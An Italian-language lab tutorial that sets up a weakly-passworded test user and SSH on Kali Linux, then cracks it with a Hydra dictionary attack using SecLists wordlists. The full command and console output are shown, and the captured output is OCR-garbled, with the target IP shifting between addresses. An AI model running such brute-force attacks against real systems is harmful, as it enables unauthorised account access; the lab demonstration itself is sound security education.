Vediamo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra:

Creiamo un nuovo utente su Kali Linux utilizzando il comando "adduser". Chiamiamo l'utente "test\_user" e impostiamo una password iniziale chiamata "testpass". Attiviamo il servizio SSH con il comando "sudo service ssh start":

```
| root(6 kals) = [/home/kali] | adduser test_user | ... |
| info: Adding user 'test_user' ... |
| info: Adding new group 'test_user' (1001) ... |
| info: Adding new group 'test_user' (1001) ... |
| info: Adding new user 'test_user' (1001) with group 'test_user (1001)' ... |
| info: Creating home directory '/home/test_user' ... |
| info: Copying files from '/etc/skel' ... |
| New password: |
| Retype new password updated successfully |
| Changing the user information for test_user |
| Enter the new value, or press ENTER for the default |
| Full Name []: |
| Room Number []: |
| Work Phone []: |
| Home Phone []: |
| Other []: |
| Is the information correct? [Y/n] |
| info: Adding new user 'test_user' to supplemental / extra groups 'users' ... |
| info: Adding user 'test_user' to group 'users' ... |
| coot(6 kali) = [/home/kali] |
| sudo service ssh start |
```

Per testare la connessione SSH dell'utente appena creato, eseguiamo il comando "ssh test\_user@192.168.1.56". Se le credenziali sono corrette, riceveremo il prompt dei comandi dell'utente test user su Kali:

Infine, utilizziamo Hydra per eseguire attacchi dizionario (abbiamo installato "seclists" per ottenere liste più ampie di username e password). Il comando è il seguente:

hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.56 -t4 ssh -V

```
(kali© kali)-[~]

$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.56 -t4 ssh -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-17 09:20:11

[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session fou nd, to prevent overwriting, ./hydra.restore

^[[B^*[[B^*[[E^*[[[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~
2073863750000 tries per task

[DATA] attacking ssh://192.168.1.56 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)

[ATTEMPT] target 192.168.1.56 - login "info" - pass "12345678" - 3 of 8295455000000 [child 1] (0/0)

[ATTEMPT] target 192.168.1.56 - login "info" - pass "12345678" - 3 of 8295455000000 [child 3] (0/0)

[ATTEMPT] target 192.168.1.56 - login "info" - pass "123456789" - 5 of 8295455000000 [child 3] (0/0)

[ATTEMPT] target 192.168.1.56 - login "info" - pass "123456789" - 5 of 8295455000000 [child 0] (0/0)
```

Vediamo come dopo un tot di tentativi e diversi minuti, Hydra sia riuscito a trovare un accesso valido:

```
"test_user"
                                                                                                   "bailey"
                                                                                                                      120 of 8295473590914 [child 0]
                                                       login
                                                                                         pass
                                                                                                                   t5" - 121 of 8295473590914 [child 2] (0/0)
- 122 of 8295473590914 [child 0] (0/0)
ATTEMPT]
                            192.168.1.28
                target
                                                      login
                                                                 "test_user"
                                                                                         pass
                                                                                                  "q1w2e3r4t5"
                                                      login "test_user"
                                                                                                  "patrick"
"internet"
ATTEMPT]
                            192.168.1.28
                target
                                                      login "test_user"
                                                                                                                     - 123 of 8295473590914 [child 2] (0/0)
ATTEMPT1
               target 192.168.1.28 -
                                                                                          pass
                                                      login "test_user" - pass "scooter" - 123 of 8295473590914 [child 2] (0/0) login "test_user" - pass "scooter" - 125 of 8295473590914 [child 3] (0/0) login "test_user" - pass "orange" - 125 of 8295473590914 [child 3] (0/0) login "test_user" - pass "11111" - 126 of 8295473590914 [child 1] (0/0) login "test_user" - pass "golfer" - 127 of 8295473590914 [child 3] (0/0) login "test_user" - pass "cookie" - 128 of 8295473590914 [child 1] (0/0)
ATTEMPT1
               target 192.168.1.28
ATTEMPT]
               target 192.168.1.28
ATTEMPT]
               target 192.168.1.28
ATTEMPT]
                            192.168.1.28
                target
ATTEMPT]
               target 192.168.1.28 -
                                                      login "test_user" - pass "richard" - 129 of 8295473590914 [child 3] (0/0) login "test_user" - pass "testpass" - 130 of 8295473590914 [child 1] (0/0)
                                                      login "test_user" - pass
ATTEMPT]
               target 192.168.1.28
ATTEMPT]
               target 192.168.1.28 -
                                                      login test_user pass testpass 130 of 02537,357031 [chical] (0/0) login "info" - pass "123456" - 1000003 of 8295473590914 [child 1] (0/0) login "info" - pass "password" - 1000004 of 8295473590914 [child 2] (0/0) login "info" - pass "12345678" - 1000005 of 8295473590914 [child 3] (0/0) login "info" - pass "qwerty" - 1000006 of 8295473590914 [child 0] (0/0)
22][ssh]
               host: 192.168.1.28
                                                    login: test_user
ATTEMPT]
                target 192.168.1.28 -
ATTEMPT]
               target 192.168.1.28 -
ATTEMPT1
               target 192.168.1.28 -
ATTEMPT]
               target 192.168.1.28
                                                                            - pass
ATTEMPT1
               target 192.168.1.28
                                                                                         "123456789"
                                                                                                              - 1000007 of 8295473590914 [child 1] (0/0)
                                                      login
                                                                                pass "12345" - 1000008 of 8295473590914 [child 2] (0/0) pass "1234" - 1000009 of 8295473590914 [child 3] (0/0)
                                                                 "info"
ATTEMPT]
                target
                            192.168.1.28
                                                      login
                                                                 "info"
               target 192.168.1.28 -
ATTEMPT]
                                                      login
                                                                                         "1234" - 1000009 of 82954/3590914 [child 0] (0/0)
"111111" - 1000010 of 8295473590914 [child 0] (0/0)
"1234567" - 1000011 of 8295473590914 [child 1] (0/0)
"dragon" - 1000012 of 8295473590914 [child 2] (0/0)
"123123" - 1000013 of 8295473590914 [child 3] (0/0)
                                                                 "info"
               target 192.168.1.28 -
ATTEMPT1
                                                      login
                                                                                pass
                                                                 "info"
ATTEMPT]
               target 192.168.1.28
                                                      login
                                                                                pass
               target 192.168.1.28
ATTEMPT]
                                                      login
                                                                 "info"
                                                                                         "baseball" - 1000014 of 8295473590914 [child 3] (0/0)
"abc123" - 1000015 of 8295473590914 [child 1] (0/0)
"football" - 1000016 of 8295473590914 [child 1]
ATTEMPT]
               target 192.168.1.28
                                                      login
                                                                                pass
                                                                                 pass "baseball"
                                                                 "info"
               target 192.168.1.28 -
ATTEMPT]
                                                      login
                                                                                pass "abc123"
               target 192.168.1.28
                                                                 "info"
ATTEMPT1
                                                      login
                            192,168,1,28
                                                                                pass
```